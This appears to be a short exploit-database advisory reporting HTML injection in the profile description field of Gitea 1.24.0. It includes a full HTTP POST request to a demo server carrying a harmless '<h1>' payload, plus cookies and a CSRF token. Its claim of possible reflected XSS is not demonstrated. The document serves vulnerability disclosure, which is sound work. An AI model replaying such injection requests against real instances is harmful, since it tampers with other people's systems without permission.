Gitea 1.24.0 - HTML Injection

# Exploit Title: Gitea 1.24.0 - HTML Injection
# Date: 2025-03-09
# Exploit Author: Mikail KOCADAĞ
# Vendor Homepage: https://gitea.com
# Software Link: https://dl.gitea.io/gitea/1.24.0/
# Version: 1.24.0
# Tested on: Windows 10, Linux Ubuntu 22.04
# CVE : N/A

## Vulnerability Description:
In Gitea 1.24.0, the "description" parameter on the user settings page is vulnerable to HTML Injection and potentially Reflected XSS. The user-supplied HTML content is not properly sanitized, allowing it to be executed in the browser. When a user saves their profile description containing malicious HTML or JavaScript code, the payload successfully executes, confirming the vulnerability.

## Exploit PoC:
[https://lh7-rt.googleusercontent.com/docsz/AD_4nXeh7FQb3EdM3-fPqRLqZ4Oh5JlVQdHjhBHEtPL5U9mEtTeWwiMdfx1SpyYC-Kg7EiWCy-Mpay8ZKz6WDw5hCYLrbCrAN2Dlg5xAnNIMuL9ui8ZNjH9GzD_rwdtjbGRkyoTP-uAd?key=pDzgPVQKg3NL0T6shAZ0U6Xz][https://lh7-rt.googleusercontent.com/docsz/AD_4nXc-OZUDyqxfXQV92GwjmahRYFv7BzYhJ5lG2F6slXNyRVRcgyB2yNbK_NMkFkWbU6IggK4xOkUDP5aukMiEjFS18zIc3DDUR7M0wivQMF2aWRt91yx_ayb7AB556Uot1LVUaa1z8w?key=pDzgPVQKg3NL0T6shAZ0U6Xz]

## Paload:<h1>deneme</h1>
### **1. Request:**
POST /user/settings HTTP/2
Host: demo.gitea.com
Cookie: _gid=GA1.2.1249205656.1740139988; _ga=GA1.2.291185928.1740139987; i_like_gitea=d9da795e317a0ced; lang=tr-TR; _ga_WBKVZF2YXD=GS1.1.1740139987.1.1.1740140041.6.0.0; _csrf=f9ITrnNQIzvSX-yvHX64qhoc_8w6MTc0MDE0MDY0MDQ2MTE0MDgyMQ
Content-Length: 312
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: tr-TR,tr;q=0.9
Origin: null
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

_csrf=f9ITrnNQIzvSX-yvHX64qhoc_8w6MTc0MDE0MDY0MDQ2MTE0MDgyMQ
&full_name=Abuzettin
&description=%3Ch1%3Edeneme%3C%2Fh1%3E
&website=
&location=
&visibility=0
&keep_email_private=on